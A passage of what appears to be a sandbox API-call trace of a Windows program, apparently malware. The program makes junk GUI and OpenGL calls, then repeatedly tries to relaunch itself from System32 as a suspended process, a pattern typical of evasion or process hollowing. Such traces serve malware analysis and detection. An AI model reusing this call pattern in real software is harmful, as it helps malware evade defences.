yBottom=303 | out: lprc=0x18dbc0) returned 1 [0144.515] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=305, xRight=200, yBottom=306 | out: lprc=0x18dbc0) returned 1 [0144.515] GetConsoleWindow () returned 0x0 [0144.515] GetDC (hWnd=0x0) returned 0x40107c2 [0144.515] CreateDIBSection (in: hdc=0x40107c2, lpbmi=0x18db78, usage=0x0, ppvBits=0x4ea700, hSection=0x0, offset=0x0 | out: ppvBits=0x4ea700) returned 0x0 [0144.515] CreateCompatibleDC (hdc=0x40107c2) returned 0x1201080b [0144.515] SelectObject (hdc=0x1201080b, h=0x0) returned 0x0 [0144.515] GetConsoleWindow () returned 0x0 [0144.515] ReleaseDC (hWnd=0x0, hDC=0x40107c2) returned 1 [0144.515] glBegin () returned 0x7efddb90 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glVertex2f () returned 0x0 [0144.516] glEnd () returned 0x611040 [0144.516] GetDlgItem (hDlg=0x0, nIDDlgItem=2006982120) returned 0x0 [0144.516] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.516] GetDlgItem (hDlg=0x0, nIDDlgItem=6155462) returned 0x0 [0144.516] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.516] GetDlgItem (hDlg=0x0, nIDDlgItem=17239) returned 0x0 [0144.516] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.516] GetDlgItem (hDlg=0x0, nIDDlgItem=6155462) returned 0x0 [0144.516] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.516] GetDlgItem (hDlg=0x0, nIDDlgItem=1914) returned 0x0 [0144.516] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.517] glClearColor () returned 0x5fcf10 [0144.517] glMatrixMode () returned 0x5fcf28 [0144.517] gluOrtho2D () returned 0x5fcf30 [0144.517] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7fe5) returned 0xe05080e [0144.517] CreatePatternBrush (hbm=0xe05080e) returned 0xd1007ff [0144.517] DeleteObject (ho=0xe05080e) returned 1 [0144.517] CreateWindowExA (dwExStyle=0x220, lpClassName="RichEdit", lpWindowName=0x0, dwStyle=0x50300004, X=10, Y=10, nWidth=241, nHeight=221, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.517] SetWindowLongA (hWnd=0x0, nIndex=-4, dwNewLong=2006982120) returned 0 [0144.517] SetWindowLongA (hWnd=0x0, nIndex=-21, dwNewLong=0) returned 0 [0144.517] GetDlgItem (hDlg=0x0, nIDDlgItem=6155462) returned 0x0 [0144.517] DeleteObject (ho=0xd1007ff) returned 1 [0144.517] GdiplusStartup (in: token=0x18d4d8, input=0x18d4c4, output=0x0 | out: token=0x18d4d8, output=0x0) returned 0x0 [0144.532] GdipAlloc (size=0x10) returned 0x3562230 [0144.533] GdipLoadImageFromFile (filename="земля_ СЃ_луны.jpg", image=0x3562234) returned 0x3 [0144.535] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0144.535] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0144.535] GetStockObject (i=0) returned 0x1900010 [0144.536] RegisterClassA (lpWndClass=0x18d480) returned 0x300000 [0144.536] CreateWindowExA (dwExStyle=0x0, lpClassName="Get", lpWindowName="Get", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.536] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0144.536] UpdateWindow (hWnd=0x0) returned 0 [0144.536] GdiplusShutdown (token=0xec51) [0144.552] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x77a01de8, lParam=0x5decc6) returned 0x0 [0144.552] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x4357, lParam=0x5decc6) returned 0x0 [0144.552] EnumWindowStationsW (lpEnumFunc=0x520000, lParam=0x0) [0144.876] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0144.877] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0145.710] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c960, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0145.711] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c908*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb8c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18cb8c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0145.711] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0145.712] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0146.378] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c918, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0146.378] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c8c0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb44 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18cb44*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0146.379] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0146.379] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0146.920] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c8d0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0146.920] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c878*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cafc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18cafc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0146.920] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0146.921] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0147.458] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c888, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0147.458] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c830*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cab4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18cab4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0147.459] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0147.459] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0148.126] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c840, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0148.126] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c7e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ca6c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18ca6c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0148.127] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0148.127] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0148.996] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c7f8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0148.996] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c7a0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ca24 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18ca24*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0149.041] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0149.041] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0149.864] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c7b0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0149.864] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c758*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c9dc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c9dc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0149.865] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0149.865] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0150.755] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c768, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0150.755] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c710*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c994 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c994*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0150.755] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0150.758] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0151.076] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c720, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0151.076] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c6c8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c94c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c94c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0151.077] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0151.077] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0151.430] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c6d8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0151.430] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c680*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c904 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c904*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0151.431] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0151.431] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0151.797] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c690, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0151.797] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c638*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c8bc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c8bc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0151.798] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0151.798] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0152.608] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c648, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0152.608] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c5f0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c874 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c874*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0152.609] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0152.609] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0153.246] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c600, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0153.247] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c5a8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c82c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c82c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0153.247] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0153.248] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0154.029] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c5b8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0154.029] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c560*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c7e4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c7e4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0154.030] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0154.030] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0154.396] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c570, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0154.396] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c518*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c79c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c79c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0154.396] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0154.397] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0154.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c528, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0154.867] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c4d0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c754 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c754*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0154.867] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0154.876] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0155.312] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c4e0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0155.312] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c488*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c70c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c70c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0155.314] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0155.314] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0155.724] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c498, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0155.724] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c440*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c6c4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c6c4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0155.725] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0155.725] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0156.071] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c450, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0156.071] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c3f8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c67c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c67c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0156.071] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0156.072] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0156.512] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c408, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0156.512] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c3b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c634 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c634*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0156.513] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0156.513] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0156.894] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c3c0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0156.894] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c368*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, 